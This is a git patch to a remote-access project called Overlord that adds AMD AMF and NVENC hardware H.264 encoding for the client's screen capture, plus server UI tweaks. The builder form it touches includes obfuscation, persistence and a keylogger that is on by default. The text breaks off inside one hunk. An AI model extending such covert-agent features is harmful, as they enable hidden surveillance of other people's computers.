From 424ed348e3d20b6df09eba2beb8ef600e81cec57 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sat, 11 Jul 2026 14:55:26 -0500 Subject: [PATCH] AMF + NVENC control and support --- .../agent/capture/amf_d3d11_stub_windows.go | 7 + .../cmd/agent/capture/amf_d3d11_windows.go | 86 +++++++ .../agent/capture/amfbridge/bridge_windows.cc | 218 ++++++++++++++++++ .../agent/capture/amfbridge/bridge_windows.go | 84 +++++++ .../agent/capture/amfbridge/bridge_windows.h | 23 ++ .../cmd/agent/capture/h264_smoke_windows.go | 10 + .../capture/h264_texture_encoder_windows.go | 6 + .../agent/capture/native_h264_stub_windows.go | 2 +- .../agent/capture/nvenc_d3d11_smoke_stub.go | 2 +- .../capture/nvenc_d3d11_smoke_windows.go | 2 +- .../cmd/agent/capture/nvenc_smoke_other.go | 2 +- .../cmd/agent/capture/nvenc_smoke_windows.go | 2 +- Overlord-Client/cmd/agent/privacy/privacy.go | 7 +- .../cmd/agent/privacy/privacy_test.go | 19 ++ .../cmd/mf-h264-smoke/main_windows.go | 9 +- Overlord-Server/public/assets/build.js | 10 + Overlord-Server/public/assets/data.js | 36 ++- Overlord-Server/public/assets/main.js | 14 +- Overlord-Server/public/assets/render.js | 4 + .../public/assets/thumbnail-loader.js | 3 + Overlord-Server/public/build.html | 16 ++ Overlord-Server/src/build/types.ts | 2 + Overlord-Server/src/server/build-process.ts | 96 ++++++-- .../src/server/routes/build-routes.ts | 4 + .../server/routes/client-command-routes.ts | 16 +- .../src/server/routes/client-routes.ts | 22 +- .../routes/websocket-lifecycle-routes.ts | 3 +- Overlord-Server/src/wsHandlers.ts | 25 ++ scripts/build-clients.bat | 5 + scripts/vendor-amf-headers.bat | 33 +++ scripts/vendor-amf-headers.sh | 28 +++ 31 files changed, 761 insertions(+), 35 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/amf_d3d11_stub_windows.go create mode 100644 Overlord-Client/cmd/agent/capture/amf_d3d11_windows.go create mode 100644 Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.cc create mode 100644 Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.go create mode 100644 Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.h create mode 100644 Overlord-Client/cmd/agent/privacy/privacy_test.go create mode 100644 scripts/vendor-amf-headers.bat create mode 100644 scripts/vendor-amf-headers.sh diff --git a/Overlord-Client/cmd/agent/capture/amf_d3d11_stub_windows.go b/Overlord-Client/cmd/agent/capture/amf_d3d11_stub_windows.go new file mode 100644 index 0000000..a696840 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/amf_d3d11_stub_windows.go @@ -0,0 +1,7 @@ +//go:build windows && (!cgo || no_amf) + +package capture + +func newAMFD3D11TextureBackend() h264D3D11TextureBackend { return nil } + +func probeAMFD3D11() (bool, string) { return false, "AMD AMF requires a Windows CGO build" } diff --git a/Overlord-Client/cmd/agent/capture/amf_d3d11_windows.go b/Overlord-Client/cmd/agent/capture/amf_d3d11_windows.go new file mode 100644 index 0000000..a1fa8c5 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/amf_d3d11_windows.go @@ -0,0 +1,86 @@ +//go:build windows && cgo && !no_amf + +package capture + +import ( + "fmt" + "overlord-client/cmd/agent/capture/amfbridge" + "sync/atomic" + "unsafe" +) + +type amfD3D11TextureBackend struct { + encoder *amfbridge.Encoder + device unsafe.Pointer + inputWidth int + inputHeight int + encodeWidth int + encodeHeight int + fps int + dxgiFormat uint32 + output []byte + forceIDR atomic.Bool +} + +func newAMFD3D11TextureBackend() h264D3D11TextureBackend { + return &amfD3D11TextureBackend{output: make([]byte, 1024*1024)} +} + +func (b *amfD3D11TextureBackend) Name() string { return "AMD AMF" } + +func (b *amfD3D11TextureBackend) matches(req h264D3D11TextureRequest) bool { + return b.encoder != nil && b.device == req.Device && b.inputWidth == req.InputWidth && + b.inputHeight == req.InputHeight && b.encodeWidth == req.EncodeWidth && + b.encodeHeight == req.EncodeHeight && b.fps == req.FPS && b.dxgiFormat == req.DXGIFormat +} + +func (b *amfD3D11TextureBackend) Encode(req h264D3D11TextureRequest) ([]byte, error) { + if !b.matches(req) { + b.Reset() + encoder, err := amfbridge.Create(req.Device, req.InputWidth, req.InputHeight, req.EncodeWidth, + req.EncodeHeight, req.FPS, req.DXGIFormat, targetH264Bitrate(req.EncodeWidth, req.EncodeHeight, req.FPS)) + if err != nil { + return nil, err + } + b.encoder = encoder + b.device, b.inputWidth, b.inputHeight = req.Device, req.InputWidth, req.InputHeight + b.encodeWidth, b.encodeHeight, b.fps, b.dxgiFormat = req.EncodeWidth, req.EncodeHeight, req.FPS, req.DXGIFormat + } + forceIDR := req.ForceIDR || b.forceIDR.Swap(false) + for attempts := 0; attempts < 2; attempts++ { + result, outputSize, err := b.encoder.Encode(req.Texture, forceIDR, b.output) + if err != nil { + return nil, err + } + if result == 2 { + if outputSize <= 0 || outputSize > 64*1024*1024 { + return nil, fmt.Errorf("AMF returned invalid output size %d", int(outputSize)) + } + b.output = make([]byte, outputSize) + forceIDR = false + continue + } + if outputSize <= 0 { + return nil, nil + } + out := make([]byte, outputSize) + copy(out, b.output[:outputSize]) + return out, nil + } + return nil, fmt.Errorf("AMF output buffer resize retry failed") +} + +func (b *amfD3D11TextureBackend) RequestKeyframe() { b.forceIDR.Store(true) } + +func (b *amfD3D11TextureBackend) Reset() { + if b.encoder != nil { + b.encoder.Close() + } + b.encoder = nil + b.device = nil + b.forceIDR.Store(false) +} + +func probeAMFD3D11() (bool, string) { + return amfbridge.Probe() +} diff --git a/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.cc b/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.cc new file mode 100644 index 0000000..0e81b98 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.cc @@ -0,0 +1,218 @@ +//go:build windows && cgo + +#include "bridge_windows.h" +#include +#include +#include +#include +#include +#include +#include + +#include "../../../../third_party/amf/include/core/Factory.h" +#include "../../../../third_party/amf/include/core/Buffer.h" +#include "../../../../third_party/amf/include/components/VideoConverter.h" +#include "../../../../third_party/amf/include/components/VideoEncoderVCE.h" + +namespace { + +struct AMFEncoder { + HMODULE runtime = nullptr; + amf::AMFFactory* factory = nullptr; + amf::AMFContext* context = nullptr; + amf::AMFComponent* converter = nullptr; + amf::AMFComponent* encoder = nullptr; + std::vector pending; +}; + +void set_error(char* dst, int capacity, const std::string& value) { + if (!dst || capacity <= 0) return; + const size_t count = std::min(value.size(), static_cast(capacity - 1)); + std::memcpy(dst, value.data(), count); + dst[count] = 0; +} + +std::string amf_error(const char* stage, AMF_RESULT result) { + return std::string(stage) + " failed (AMF_RESULT=" + std::to_string(static_cast(result)) + ")"; +} + +void destroy(AMFEncoder* state) { + if (!state) return; + if (state->encoder) { + state->encoder->Terminate(); + state->encoder->Release(); + } + if (state->converter) { + state->converter->Terminate(); + state->converter->Release(); + } + if (state->context) { + state->context->Terminate(); + state->context->Release(); + } + if (state->runtime) FreeLibrary(state->runtime); + delete state; +} + +HMODULE load_runtime() { + return LoadLibraryW(sizeof(void*) == 8 ? L"amfrt64.dll" : L"amfrt32.dll"); +} + +AMF_RESULT query_with_wait(amf::AMFComponent* component, amf::AMFData** data, int timeout_ms) { + const auto deadline = std::chrono::steady_clock::now() + std::chrono::milliseconds(timeout_ms); + AMF_RESULT result = AMF_REPEAT; + do { + result = component->QueryOutput(data); + if (result != AMF_REPEAT && result != AMF_NEED_MORE_INPUT) return result; + if (*data) return AMF_OK; + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + } while (std::chrono::steady_clock::now() < deadline); + return result; +} + +AMF_RESULT collect_encoder_output(AMFEncoder* state, int timeout_ms) { + amf::AMFData* data = nullptr; + AMF_RESULT result = query_with_wait(state->encoder, &data, timeout_ms); + if (!data) { + return (result == AMF_REPEAT || result == AMF_NEED_MORE_INPUT) ? AMF_OK : result; + } + amf::AMFBufferPtr buffer(data); + data->Release(); + if (!buffer) return AMF_INVALID_DATA_TYPE; + const auto* bytes = static_cast(buffer->GetNative()); + const size_t size = static_cast(buffer->GetSize()); + if (bytes && size) state->pending.insert(state->pending.end(), bytes, bytes + size); + return AMF_OK; +} + +} // namespace + +extern "C" int overlord_amf_probe(char* error_text, int error_capacity) { + HMODULE runtime = load_runtime(); + if (!runtime) { + set_error(error_text, error_capacity, "AMF runtime DLL is not installed"); + return 0; + } + auto init = reinterpret_cast(GetProcAddress(runtime, AMF_INIT_FUNCTION_NAME)); + amf::AMFFactory* factory = nullptr; + AMF_RESULT result = init ? init(AMF_FULL_VERSION, &factory) : AMF_FAIL; + FreeLibrary(runtime); + if (result != AMF_OK || !factory) { + set_error(error_text, error_capacity, amf_error("AMFInit", result)); + return 0; + } + return 1; +} + +extern "C" int overlord_amf_create(void* d3d11_device, int input_width, int input_height, + int encode_width, int encode_height, int fps, + uint32_t dxgi_format, int bitrate, + overlord_amf_encoder* output, + char* error_text, int error_capacity) { + if (!output || !d3d11_device) { + set_error(error_text, error_capacity, "invalid AMF create arguments"); + return 0; + } + *output = nullptr; + auto* state = new AMFEncoder(); + state->runtime = load_runtime(); + if (!state->runtime) { + set_error(error_text, error_capacity, "AMF runtime DLL is not installed"); + destroy(state); + return 0; + } + auto init = reinterpret_cast(GetProcAddress(state->runtime, AMF_INIT_FUNCTION_NAME)); + AMF_RESULT result = init ? init(AMF_FULL_VERSION, &state->factory) : AMF_FAIL; + if (result != AMF_OK || !state->factory) goto fail_init; + result = state->factory->CreateContext(&state->context); + if (result != AMF_OK || !state->context) goto fail_context; + result = state->context->InitDX11(d3d11_device, amf::AMF_DX11_0); + if (result != AMF_OK) goto fail_dx11; + result = state->factory->CreateComponent(state->context, AMFVideoConverter, &state->converter); + if (result != AMF_OK || !state->converter) goto fail_converter; + state->converter->SetProperty(AMF_VIDEO_CONVERTER_OUTPUT_FORMAT, static_cast(amf::AMF_SURFACE_NV12)); + state->converter->SetProperty(AMF_VIDEO_CONVERTER_MEMORY_TYPE, static_cast(amf::AMF_MEMORY_DX11)); + state->converter->SetProperty(AMF_VIDEO_CONVERTER_OUTPUT_SIZE, AMFConstructSize(encode_width, encode_height)); + { + const amf::AMF_SURFACE_FORMAT input_format = dxgi_format == 28 ? amf::AMF_SURFACE_RGBA : amf::AMF_SURFACE_BGRA; + result = state->converter->Init(input_format, input_width, input_height); + } + if (result != AMF_OK) goto fail_converter_init; + result = state->factory->CreateComponent(state->context, AMFVideoEncoderVCE_AVC, &state->encoder); + if (result != AMF_OK || !state->encoder) goto fail_encoder; + state->encoder->SetProperty(AMF_VIDEO_ENCODER_USAGE, static_cast(AMF_VIDEO_ENCODER_USAGE_ULTRA_LOW_LATENCY)); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_PROFILE, static_cast(AMF_VIDEO_ENCODER_PROFILE_MAIN)); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_FRAMESIZE, AMFConstructSize(encode_width, encode_height)); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_FRAMERATE, AMFConstructRate(fps, 1)); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_TARGET_BITRATE, static_cast(bitrate)); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_B_PIC_PATTERN, static_cast(0)); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_LOWLATENCY_MODE, true); + state->encoder->SetProperty(AMF_VIDEO_ENCODER_HEADER_INSERTION_SPACING, static_cast(60)); + result = state->encoder->Init(amf::AMF_SURFACE_NV12, encode_width, encode_height); + if (result != AMF_OK) goto fail_encoder_init; + *output = state; + return 1; + +fail_encoder_init: set_error(error_text, error_capacity, amf_error("H.264 encoder Init", result)); destroy(state); return 0; +fail_encoder: set_error(error_text, error_capacity, amf_error("CreateComponent encoder", result)); destroy(state); return 0; +fail_converter_init: set_error(error_text, error_capacity, amf_error("video converter Init", result)); destroy(state); return 0; +fail_converter: set_error(error_text, error_capacity, amf_error("CreateComponent converter", result)); destroy(state); return 0; +fail_dx11: set_error(error_text, error_capacity, amf_error("InitDX11", result)); destroy(state); return 0; +fail_context: set_error(error_text, error_capacity, amf_error("CreateContext", result)); destroy(state); return 0; +fail_init: set_error(error_text, error_capacity, amf_error("AMFInit", result)); destroy(state); return 0; +} + +extern "C" int overlord_amf_encode(overlord_amf_encoder opaque, void* d3d11_texture, + int force_idr, uint8_t* output, int output_capacity, + int* output_size, char* error_text, int error_capacity) { + auto* state = static_cast(opaque); + if (!state || !d3d11_texture || !output_size) return 0; + *output_size = 0; + if (!state->pending.empty()) { + *output_size = static_cast(state->pending.size()); + if (output_capacity < *output_size || !output) return 2; + std::memcpy(output, state->pending.data(), state->pending.size()); + state->pending.clear(); + return 1; + } + amf::AMFSurface* source = nullptr; + AMF_RESULT result = state->context->CreateSurfaceFromDX11Native(d3d11_texture, &source, nullptr); + if (result != AMF_OK || !source) goto fail_source; + result = state->converter->SubmitInput(source); + source->Release(); + if (result != AMF_OK) goto fail_converter_submit; + { + amf::AMFData* converted_data = nullptr; + result = query_with_wait(state->converter, &converted_data, 100); + if (result != AMF_OK || !converted_data) goto fail_converter_output; + amf::AMFSurfacePtr converted(converted_data); + converted_data->Release(); + if (!converted) { result = AMF_INVALID_DATA_TYPE; goto fail_converter_output; } + if (force_idr) { + converted->SetProperty(AMF_VIDEO_ENCODER_FORCE_PICTURE_TYPE, static_cast(AMF_VIDEO_ENCODER_PICTURE_TYPE_IDR)); + converted->SetProperty(AMF_VIDEO_ENCODER_INSERT_SPS, true); + converted->SetProperty(AMF_VIDEO_ENCODER_INSERT_PPS, true); + } + result = state->encoder->SubmitInput(converted); + if (result != AMF_OK) goto fail_encoder_submit; + } + result = collect_encoder_output(state, 20); + if (result != AMF_OK) goto fail_encoder_output; + if (!state->pending.empty()) { + *output_size = static_cast(state->pending.size()); + if (output_capacity < *output_size || !output) return 2; + std::memcpy(output, state->pending.data(), state->pending.size()); + state->pending.clear(); + } + return 1; + +fail_encoder_output: set_error(error_text, error_capacity, amf_error("encoder QueryOutput", result)); return 0; +fail_encoder_submit: set_error(error_text, error_capacity, amf_error("encoder SubmitInput", result)); return 0; +fail_converter_output: set_error(error_text, error_capacity, amf_error("converter QueryOutput", result)); return 0; +fail_converter_submit: set_error(error_text, error_capacity, amf_error("converter SubmitInput", result)); return 0; +fail_source: set_error(error_text, error_capacity, amf_error("CreateSurfaceFromDX11Native", result)); return 0; +} + +extern "C" void overlord_amf_destroy(overlord_amf_encoder encoder) { + destroy(static_cast(encoder)); +} diff --git a/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.go b/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.go new file mode 100644 index 0000000..8604e88 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.go @@ -0,0 +1,84 @@ +//go:build windows && cgo + +package amfbridge + +/* +#cgo CXXFLAGS: -std=c++17 +#cgo LDFLAGS: -lole32 +#include +#include "bridge_windows.h" +*/ +import "C" + +import ( + "unsafe" +) + +type Encoder struct{ handle C.overlord_amf_encoder } + +func Probe() (bool, string) { + errText := make([]byte, 512) + ok := C.overlord_amf_probe((*C.char)(unsafe.Pointer(&errText[0])), C.int(len(errText))) + if ok == 0 { + return false, message(errText, "AMF unavailable") + } + return true, "AMF runtime available" +} + +func Create(device unsafe.Pointer, inputWidth, inputHeight, encodeWidth, encodeHeight, fps int, dxgiFormat uint32, bitrate int) (*Encoder, error) { + var handle C.overlord_amf_encoder + errText := make([]byte, 512) + ok := C.overlord_amf_create(device, C.int(inputWidth), C.int(inputHeight), C.int(encodeWidth), C.int(encodeHeight), + C.int(fps), C.uint32_t(dxgiFormat), C.int(bitrate), &handle, + (*C.char)(unsafe.Pointer(&errText[0])), C.int(len(errText))) + if ok == 0 || handle == nil { + return nil, &Error{Text: message(errText, "AMF encoder creation failed")} + } + return &Encoder{handle: handle}, nil +} + +func (e *Encoder) Encode(texture unsafe.Pointer, forceIDR bool, output []byte) (result int, size int, err error) { + if e == nil || e.handle == nil { + return 0, 0, &Error{Text: "AMF encoder is not initialized"} + } + errText := make([]byte, 512) + var outputSize C.int + var outputPtr *C.uint8_t + if len(output) > 0 { + outputPtr = (*C.uint8_t)(unsafe.Pointer(&output[0])) + } + force := C.int(0) + if forceIDR { + force = 1 + } + r := C.overlord_amf_encode(e.handle, texture, force, outputPtr, C.int(len(output)), &outputSize, + (*C.char)(unsafe.Pointer(&errText[0])), C.int(len(errText))) + if r == 0 { + return 0, int(outputSize), &Error{Text: message(errText, "AMF encode failed")} + } + return int(r), int(outputSize), nil +} + +func (e *Encoder) Close() { + if e != nil && e.handle != nil { + C.overlord_amf_destroy(e.handle) + e.handle = nil + } +} + +type Error struct{ Text string } + +func (e *Error) Error() string { return e.Text } + +func message(value []byte, fallback string) string { + for i, b := range value { + if b == 0 { + value = value[:i] + break + } + } + if len(value) == 0 { + return fallback + } + return string(value) +} diff --git a/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.h b/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.h new file mode 100644 index 0000000..466ed59 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/amfbridge/bridge_windows.h @@ -0,0 +1,23 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef void* overlord_amf_encoder; + +int overlord_amf_probe(char* error_text, int error_capacity); +int overlord_amf_create(void* d3d11_device, int input_width, int input_height, + int encode_width, int encode_height, int fps, + uint32_t dxgi_format, int bitrate, + overlord_amf_encoder* encoder, + char* error_text, int error_capacity); +int overlord_amf_encode(overlord_amf_encoder encoder, void* d3d11_texture, + int force_idr, uint8_t* output, int output_capacity, + int* output_size, char* error_text, int error_capacity); +void overlord_amf_destroy(overlord_amf_encoder encoder); + +#ifdef __cplusplus +} +#endif diff --git a/Overlord-Client/cmd/agent/capture/h264_smoke_windows.go b/Overlord-Client/cmd/agent/capture/h264_smoke_windows.go index 2cedc16..bf9f326 100644 --- a/Overlord-Client/cmd/agent/capture/h264_smoke_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_smoke_windows.go @@ -53,6 +53,16 @@ type H264MFTFinding struct { Error string `json:"error,omitempty"` } +type AMFSmokeResult struct { + Available bool `json:"available"` + Detail string `json:"detail"` +} + +func RunAMFSmoke() AMFSmokeResult { + ok, detail := probeAMFD3D11() + return AMFSmokeResult{Available: ok, Detail: detail} +} + func FindH264HardwareMFTs() ([]H264MFTFinding, error) { if err := ensureMFStartup(); err != nil { return nil, err diff --git a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go index fdbc59e..0b14e1d 100644 --- a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go @@ -53,6 +53,12 @@ var d3d11H264TextureRegistry = struct { backends: []h264D3D11TextureBackend{nvencD3D11TextureBackend{}}, } +func init() { + if backend := newAMFD3D11TextureBackend(); backend != nil { + d3d11H264TextureRegistry.backends = append(d3d11H264TextureRegistry.backends, backend) + } +} + func encodeH264D3D11Texture(req h264D3D11TextureRequest) ([]byte, string, error) { if req.Device == nil || req.Texture == nil { return nil, "", fmt.Errorf("nil D3D11 device or texture") diff --git a/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go b/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go index fd3d4ef..b8b6c48 100644 --- a/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go +++ b/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go @@ -1,4 +1,4 @@ -//go:build windows && !cgo +//go:build windows && (!cgo || no_nvenc) package capture diff --git a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go index 8df4704..4a6ebb1 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go @@ -1,4 +1,4 @@ -//go:build !windows || !cgo +//go:build !windows || !cgo || no_nvenc package capture diff --git a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go index 92cf887..2c1049a 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go @@ -1,4 +1,4 @@ -//go:build windows && cgo +//go:build windows && cgo && !no_nvenc package capture diff --git a/Overlord-Client/cmd/agent/capture/nvenc_smoke_other.go b/Overlord-Client/cmd/agent/capture/nvenc_smoke_other.go index df457bb..392f714 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_smoke_other.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_smoke_other.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows || no_nvenc package capture diff --git a/Overlord-Client/cmd/agent/capture/nvenc_smoke_windows.go b/Overlord-Client/cmd/agent/capture/nvenc_smoke_windows.go index 8da4ab4..fe33ab1 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_smoke_windows.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_smoke_windows.go @@ -1,4 +1,4 @@ -//go:build windows +//go:build windows && !no_nvenc package capture diff --git a/Overlord-Client/cmd/agent/privacy/privacy.go b/Overlord-Client/cmd/agent/privacy/privacy.go index b119659..8a56c4d 100644 --- a/Overlord-Client/cmd/agent/privacy/privacy.go +++ b/Overlord-Client/cmd/agent/privacy/privacy.go @@ -5,7 +5,10 @@ import ( "sync/atomic" ) -const inputMarker uintptr = 0x00D5E7B00B5 +// Keep the full marker on 64-bit builds and let the runtime conversion retain +// its low 32 bits on 32-bit builds. dwExtraInfo is pointer-sized, so the sender +// and the low-level hooks observe the same value on either architecture. +var inputMarkerValue uint64 = 0x00D5E7B00B5 type Manager struct { mu sync.Mutex @@ -51,4 +54,4 @@ func (m *Manager) Disable() { func Start() error { return Get().Enable() } func Stop() { Get().Disable() } func IsEnabled() bool { return Get().IsEnabled() } -func InputMarker() uintptr { return inputMarker } +func InputMarker() uintptr { return uintptr(inputMarkerValue) } diff --git a/Overlord-Client/cmd/agent/privacy/privacy_test.go b/Overlord-Client/cmd/agent/privacy/privacy_test.go new file mode 100644 index 0000000..ee7ec21 --- /dev/null +++ b/Overlord-Client/cmd/agent/privacy/privacy_test.go @@ -0,0 +1,19 @@ +package privacy + +import ( + "strconv" + "testing" +) + +func TestInputMarkerFitsPointerWidth(t *testing.T) { + marker := InputMarker() + if marker == 0 { + t.Fatal("input marker must not be zero") + } + if strconv.IntSize == 32 && uint64(marker) != inputMarkerValue&0xffffffff { + t.Fatalf("32-bit marker = %#x, want low bits %#x", marker, inputMarkerValue&0xffffffff) + } + if strconv.IntSize == 64 && uint64(marker) != inputMarkerValue { + t.Fatalf("64-bit marker = %#x, want %#x", marker, inputMarkerValue) + } +} diff --git a/Overlord-Client/cmd/mf-h264-smoke/main_windows.go b/Overlord-Client/cmd/mf-h264-smoke/main_windows.go index 0853560..86d1366 100644 --- a/Overlord-Client/cmd/mf-h264-smoke/main_windows.go +++ b/Overlord-Client/cmd/mf-h264-smoke/main_windows.go @@ -34,6 +34,7 @@ type smokeReport struct { H264 []capture.H264SmokeResult `json:"h264"` Capture []capture.CaptureSmokeResult `json:"capture,omitempty"` NVENC *capture.NVENCSmokeResult `json:"nvenc,omitempty"` + AMF capture.AMFSmokeResult `json:"amf"` NVENCD3D11 []capture.NVENCD3D11SmokeResult `json:"nvenc_d3d11,omitempty"` Nvidia []string `json:"nvidia_smi,omitempty"` } @@ -70,6 +71,7 @@ func main() { system := sysinfo.Collect() machine := machineInfo{Hostname: hostname, OS: sysinfo.OSName(), Arch: runtime.GOARCH, CPU: system.CPU, GPU: system.GPU, RAM: system.RAM, GeneratedAt: time.Now().Format(time.RFC3339)} findings, findingErr := capture.FindH264HardwareMFTs() + amfResult := capture.RunAMFSmoke() opts := capture.DefaultH264SmokeOptions() opts.Frames = frames @@ -96,7 +98,7 @@ func main() { nvidiaSMI = queryNvidiaSMI() } } - report := smokeReport{Machine: machine, Findings: findings, H264: results, Capture: captureResults, NVENC: nvencResult, NVENCD3D11: nvencD3D11Results, Nvidia: nvidiaSMI} + report := smokeReport{Machine: machine, Findings: findings, H264: results, Capture: captureResults, NVENC: nvencResult, AMF: amfResult, NVENCD3D11: nvencD3D11Results, Nvidia: nvidiaSMI} if findingErr != nil { report.FindingError = findingErr.Error() } @@ -117,6 +119,11 @@ func main() { } printMachine(machine) printMFTFindings(findings, findingErr) + status := "unavailable" + if amfResult.Available { + status = "available" + } + fmt.Printf("AMD AMF runtime: %s (%s)\n", status, amfResult.Detail) fmt.Println() printTable(results) if includeCapture { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 9dae1c7..83a6f2f 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -188,6 +188,8 @@ function setBuildField(field, value) { garbleLiterals: 'input[name="garble-literals"]', garbleTiny: 'input[name="garble-tiny"]', disableCgo: 'input[name="disable-cgo"]', + enableNvenc: 'input[name="enable-nvenc"]', + enableAmf: 'input[name="enable-amf"]', stripDebug: 'input[name="strip-debug"]', noPrinting: 'input[name="no-printing"]', enableWebrtc: 'input[name="enable-webrtc"]', @@ -455,6 +457,8 @@ function collectFormSettings() { disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, + enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true, + enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, @@ -522,6 +526,8 @@ function applyFormSettings(settings) { if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex); if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug); if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo); + if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc); + if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); @@ -1692,6 +1698,8 @@ form?.addEventListener("submit", async (e) => { const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; const stripDebug = form.querySelector('input[name="strip-debug"]').checked; const disableCgo = form.querySelector('input[name="disable-cgo"]').checked; + const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true; + const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true; const obfuscate = form.querySelector('input[name="obfuscate"]').checked; const enablePersistence = form.querySelector( 'input[name="enable-persistence"]', @@ -1739,6 +1747,8 @@ form?.addEventListener("submit", async (e) => { disableMutex, stripDebug, disableCgo, + enableNvenc, + enableAmf, obfuscate, enablePersistence, persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined, diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index 1ef5dae..4983ef2 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -346,6 +346,23 @@ export async function sendCommand(clientId, action) { } } +export async function pingClientNow(clientId) { + try { + const res = await fetch(`/api/clients/${clientId}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "ping", waitForResult: true }), + }); + if (!res.ok) throw new Error(`ping failed ${res.status}`); + const result = await res.json().catch(() => ({})); + await loadWithOptions({ force: true, reorder: false }); + return Boolean(result?.updated); + } catch (err) { + console.error("Failed to refresh ping:", err); + return false; + } +} + export async function fetchVoiceCapabilities(clientId) { try { const res = await fetch(`/api/clients/${clientId}/command`, { @@ -375,15 +392,26 @@ export async function requestPreview(clientId) { export async function requestThumbnail(clientId) { try { - const res = await fetch(`/api/clients/${clientId}/thumbnail`, { + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, { method: "POST", + headers: { "x-overlord-thumbnail-source": "manual" }, }); if (res.ok) { const data = await res.json(); if (data.ok) { - await loadWithOptions({ force: true }); - setTimeout(() => loadWithOptions({ force: true }), 250); - setTimeout(() => loadWithOptions({ force: true }), 800); + if (data.updated && Number(data.version) > 0) { + const escapedId = typeof CSS !== "undefined" && CSS.escape ? CSS.escape(clientId) : clientId; + document.querySelectorAll(`[data-thumb-client="${escapedId}"]`).forEach((host) => { + const img = host.querySelector("img[data-thumb-img]"); + if (!img) return; + const url = `/api/clients/${encodeURIComponent(clientId)}/thumbnail?v=${Number(data.version)}`; + host.dataset.thumbVersion = String(data.version); + img.dataset.thumbUrl = url; + img.src = url; + img.style.display = "block"; + }); + } + await loadWithOptions({ force: true, reorder: false }); return true; } } diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 1812939..bc3484d 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -8,6 +8,7 